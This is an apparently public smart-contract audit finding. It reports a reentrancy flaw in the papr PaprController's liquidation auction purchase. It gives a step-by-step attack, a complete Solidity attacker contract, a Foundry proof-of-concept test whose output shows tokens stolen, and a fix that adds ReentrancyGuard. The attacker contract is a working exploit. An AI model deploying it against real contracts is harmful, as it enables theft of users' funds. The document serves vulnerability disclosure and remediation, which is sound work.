[Lines of code](https://github.com/with-backed/papr/blob/9528f2711ff0c1522076b9f93fba13f88d5bd5e6/src/NFTEDA/NFTEDA.sol#L91) # Vulnerability details ## Impact Malicious users can steal PAPR tokens through reentrancy attacks. ## Proof of Concept Function [PaprController.purchaseLiquidationAuctionNFT()]() may trigger a reentrancy becase it calls ERC721.safeTransferFrom() in [NFTEDA._purchaseNFT()](): auction.auctionAssetContract.safeTransferFrom(address(this), sendTo, auction.auctionAssetID); Combined with purchaseLiquidationAuctionNFT()'s ability of burning a debt, an attacker can profit by reentering to burn a debt multiple times. Here is a sample attack: Assume that x is an attack contract deployed by the attacker, nft be an allowed collateral, price is the price of the nft, V is the vault _vaultInfo[x][nft]. 1. x add two collaterals(nft-1, nft-2) to V, and make a loan (L0 = maxdebt(price * 2)). 2. The price fell, and V is liquidatable now. 3. Someone calls [startLiquidationAuction()]() to start an auction (auction1) for nft-1 in V. 4. If the price keeps falling, nobody will purchage auction1. 5. [liquidationAuctionMinSpacing = 2days]() later, someone (or x self) start an auction (auction2) for nft-2 in V. 6. x start attack: * purchase auction1 begin * x.onERC721Received(nft-1): purchase auction2, add collaterals to V, increaseDebt() with maxDebt() * purchase auction1 end * remove all collaterals 7. Finally, x will earn more than L0 PAPR tokens. > The Attack.sol in the following test code is a reference implementation of x. Test code for PoC: diff --git a/test/paprController/Attacker.sol b/test/paprController/Attacker.sol new file mode 100644 index 0000000..cc5f451 --- /dev/null +++ b/test/paprController/Attacker.sol @@ -0,0 +1,89 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.17; + +import {ERC20} from "solmate/tokens/ERC20.sol"; +import {ERC721, ERC721TokenReceiver} from "solmate/tokens/ERC721.sol"; +import {Owned} from "solmate/auth/Owned.sol"; +import {PaprController} from "../../src/PaprController.sol"; +import {IPaprController} from "../../src/interfaces/IPaprController.sol"; +import {INFTEDA} from "../../src/NFTEDA/extensions/NFTEDAStarterIncentive.sol"; +import {ReservoirOracleUnderwriter} from "../../src/ReservoirOracleUnderwriter.sol"; + +contract Attacker is Owned { + PaprController public immutable controller; + ERC721 public immutable nft; + // cache for reenter + bool public reenter; + INFTEDA.Auction public auction2; + ReservoirOracleUnderwriter.OracleInfo public lowerOracle; + ReservoirOracleUnderwriter.OracleInfo public twapOracle; + + constructor(PaprController _controller, ERC721 _nft) Owned(msg.sender) { + controller = _controller; + nft = _nft; + nft.setApprovalForAll(address(_controller), true); + controller.papr().approve(address(_controller), type(uint256).max); + } + + function addAndLoanMax(uint256[] memory tokenIds, ReservoirOracleUnderwriter.OracleInfo memory _oracleInfo) external onlyOwner { + _addAndLoanMax(tokenIds, _oracleInfo); + } + + function _addAndLoanMax(uint256[] memory tokenIds, ReservoirOracleUnderwriter.OracleInfo memory _oracleInfo) internal { + uint256 count = tokenIds.length; + IPaprController.Collateral[] memory collaterals = new IPaprController.Collateral[](count); + for (uint i = 0; i < count; i++) { + collaterals[i] = IPaprController.Collateral({id: tokenIds[i], addr: nft}); + } + controller.addCollateral(collaterals); + uint256 oraclePrice = controller.underwritePriceForCollateral(nft, ReservoirOracleUnderwriter.PriceKind.LOWER, _oracleInfo); + uint256 loanAmount = controller.maxDebt(count * oraclePrice); + controller.increaseDebt(address(this), nft, loanAmount, _oracleInfo); + } + + function attack( + INFTEDA.Auction calldata _auction1, INFTEDA.Auction memory _auction2, + ReservoirOracleUnderwriter.OracleInfo memory _lowerOracle, + ReservoirOracleUnderwriter.OracleInfo memory _twapOracle + ) external onlyOwner { + reenter = true; + auction2 = _auction2; + lowerOracle = _lowerOracle; + twapOracle = _twapOracle; + + //!! purchage auction1 + controller.purchaseLiquidationAuctionNFT(_auction1, _auction1.startPrice, address(this), _twapOracle); + + // reduce debt + uint256 debt = controller.vaultInfo(address(this), nft).debt; + controller.reduceDebt(address(this), nft, debt); + + // remove all collaterals 100-120 + IPaprController.Collateral[] memory collaterals = new IPaprController.Collateral[](20); + for (uint i = 0; i < 20; i++) { + collaterals[i] = IPaprController.Collateral({id: 100+i, addr: nft}); + } + controller.removeCollateral(address(this), collaterals, _lowerOracle); + } + + function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) + { + require(msg.sender == address(nft)); + if (!reenter) { + return ERC721TokenReceiver.onERC721Received.selector; + } + reenter = false; + + // purchage auction2 + controller.purchaseLiquidationAuctionNFT(auction2, auction2.startPrice, address(this), twapOracle); + + // debt should be burnt now + // add collaterals 100-120 and loan max + uint256[] memory tokenIds = new uint256[](20); + for (uint i = 0; i < 20; i++) { + tokenIds[i] = i+100; + } + _addAndLoanMax(tokenIds, lowerOracle); + return ERC721TokenReceiver.onERC721Received.selector; + } +} diff --git a/test/paprController/PoC.sol b/test/paprController/PoC.sol new file mode 100644 index 0000000..d1df403 --- /dev/null +++ b/test/paprController/PoC.sol @@ -0,0 +1,94 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +pragma solidity ^0.8.17; + +import "forge-std/console.sol"; +import {ERC721} from "solmate/tokens/ERC721.sol"; +import {ReservoirOracleUnderwriter} from "../../src/ReservoirOracleUnderwriter.sol"; +import {INFTEDA} from "../../src/NFTEDA/extensions/NFTEDAStarterIncentive.sol"; +import {BasePaprControllerTest} from "./BasePaprController.ft.sol"; +import {IPaprController} from "../../src/interfaces/IPaprController.sol"; +import {Attacker} from "./Attacker.sol"; + +contract PoC is BasePaprControllerTest { + event ReduceDebt(address indexed account, ERC721 indexed collateralAddress, uint256 amount); + event Transfer(address indexed from, address indexed to, uint256 amount); + + INFTEDA.Auction auction1; + INFTEDA.Auction auction2; + Attacker attacker; + + function setUp() public override { + super.setUp(); + + attacker = new Attacker(controller, nft); + + // prepare the user with 22 NFT + nft.mint(address(attacker), 10); + nft.mint(address(attacker), 11); + for (uint i = 100; i < 120; i++) { + nft.mint(address(attacker), i); + } + } + + function testPoC() public { + IPaprController.VaultInfo memory info; + + // check init state + info = controller.vaultInfo(address(attacker), nft); + assertEq(info.debt, 0); + assertEq(info.count, 0); + assertEq(nft.balanceOf(address(attacker)), 22); + assertEq(debtToken.balanceOf(address(attacker)), 0); + + oraclePrice = 100e6; + uint256[] memory tokenIds = new uint256[](2); + tokenIds[0] = 10; + tokenIds[1] = 11; + // loan max with nft-10 and nft-11 + attacker.addAndLoanMax(tokenIds, getLowerOracle()); + + // confirm the debt: 100 + uint256 initDebt = 100e18; + info = controller.vaultInfo(address(attacker), nft); + assertEq(info.debt, initDebt); + + // price dropped to 99.99u, the loan is liquidatable now + vm.warp(block.timestamp + 1 hours); + oraclePrice = 99.99e6; + + // start auction1 for nft-10 + auction1 = controller.startLiquidationAuction(address(attacker), IPaprController.Collateral({id: 10, addr: nft}), getTwapOracle()); + + // price dropped to 20u + oraclePrice = 20e6; + vm.warp(block.timestamp + controller.liquidationAuctionMinSpacing()); + // auction1 price is still higher, nobody would like to purchage it + assertTrue(controller.auctionCurrentPrice(auction1) > oraclePrice); + // start auction2 for nft-11 + auction2 = controller.startLiquidationAuction(address(attacker), IPaprController.Collateral({id: 11, addr: nft}), getTwapOracle()); + + //!! attack + attacker.attack(auction1, auction2, getLowerOracle(), getTwapOracle()); + + // check results + info = controller.vaultInfo(address(attacker), nft); + assertEq(info.debt, 0); + assertEq(info.count, 0); + //!! attacker keeps all the 22 NFTs + assertEq(nft.balanceOf(address(attacker)), 22); + //!! attacker stole more than initDebt(100 papr) tokens + assertGt(debtToken.balanceOf(address(attacker)), initDebt); + assertGt(debtToken.balanceOf(address(attacker)), 100e18); + console.log("Attacker stole", debtToken.balanceOf(address(attacker)), "papr"); + } + + function getLowerOracle() internal returns (ReservoirOracleUnderwriter.OracleInfo memory) { + priceKind = ReservoirOracleUnderwriter.PriceKind.LOWER; + return _getOracleInfoForCollateral(nft, underlying); + } + + function getTwapOracle() internal returns (ReservoirOracleUnderwriter.OracleInfo memory) { + priceKind = ReservoirOracleUnderwriter.PriceKind.TWAP; + return _getOracleInfoForCollateral(nft, underlying); + } +} Test output: Running 1 test for test/paprController/PoC.sol:PoC [PASS] testPoC() (gas: 1982511) Logs: Attacker stole 113002553002433002494 papr Test result: ok. 1 passed; 0 failed; finished in 1.21s ## Tools Used VS Code ## Recommended Mitigation Steps Add ReentrancyGuard to [PaprController](https://github.com/with-backed/papr/blob/9528f2711ff0c1522076b9f93fba13f88d5bd5e6/src/PaprController.sol#L18), make primary functions (purchaseLiquidationAuctionNFT, increaseDebt, etc) nonReentrant: diff --git a/src/PaprController.sol b/src/PaprController.sol index 284b3f4..fd17641 100644 --- a/src/PaprController.sol +++ b/src/PaprController.sol @@ -8,6 +8,7 @@ import {FixedPointMathLib} from "solmate/utils/FixedPointMathLib.sol"; import {INFTEDA, NFTEDAStarterIncentive} from "./NFTEDA/extensions/NFTEDAStarterIncentive.sol"; import {Ownable2Step} from "openzeppelin-contracts/access/Ownable2Step.sol"; import {Multicallable} from "solady/utils/Multicallable.sol"; +import {ReentrancyGuard} from "solmate/utils/ReentrancyGuard.sol"; import {PaprToken} from "./PaprToken.sol"; import {UniswapOracleFundingRateController} from "./UniswapOracleFundingRateController.sol"; @@ -22,7 +23,8 @@ contract PaprController is Multicallable, Ownable2Step, ReservoirOracleUnderwriter, - NFTEDAStarterIncentive + NFTEDAStarterIncentive, + ReentrancyGuard { using SafeTransferLib for ERC20; @@ -95,7 +97,7 @@ contract PaprController is } /// @inheritdoc IPaprController - function addCollateral(IPaprController.Collateral[] calldata collateralArr) external override { + function addCollateral(IPaprController.Collateral[] calldata collateralArr) external override nonReentrant { for (uint256 i = 0; i < collateralArr.length;) { _addCollateralToVault(msg.sender, collateralArr[i]); collateralArr[i].addr.transferFrom(msg.sender, address(this), collateralArr[i].id); @@ -110,7 +112,7 @@ contract PaprController is address sendTo, IPaprController.Collateral[] calldata collateralArr, ReservoirOracleUnderwriter.OracleInfo calldata oracleInfo - ) external override { + ) external override nonReentrant { uint256 cachedTarget = updateTarget(); uint256 oraclePrice; ERC721 collateralAddr; @@ -140,12 +142,12 @@ contract PaprController is ERC721 asset, uint256 amount, ReservoirOracleUnderwriter.OracleInfo calldata oracleInfo - ) external override { + ) external override nonReentrant { _increaseDebt({account: msg.sender, asset: asset, mintTo: mintTo, amount: amount, oracleInfo: oracleInfo}); } /// @inheritdoc IPaprController - function reduceDebt(address account, ERC721 asset, uint256 amount) external override { + function reduceDebt(address account, ERC721 asset, uint256 amount) external override nonReentrant { _reduceDebt({account: account, asset: asset, burnFrom: msg.sender, amount: amount}); } @@ -266,7 +268,7 @@ contract PaprController is uint256 maxPrice, address sendTo, ReservoirOracleUnderwriter.OracleInfo calldata oracleInfo - ) external override { + ) external override nonReentrant { uint256 collateralValueCached = underwritePriceForCollateral( auction.auctionAssetContract, ReservoirOracleUnderwriter.PriceKind.TWAP, oracleInfo ) * _vaultInfo[auction.nftOwner][auction.auctionAssetContract].count; --- The text was updated successfully, but these errors were encountered: All reactions

Query Builder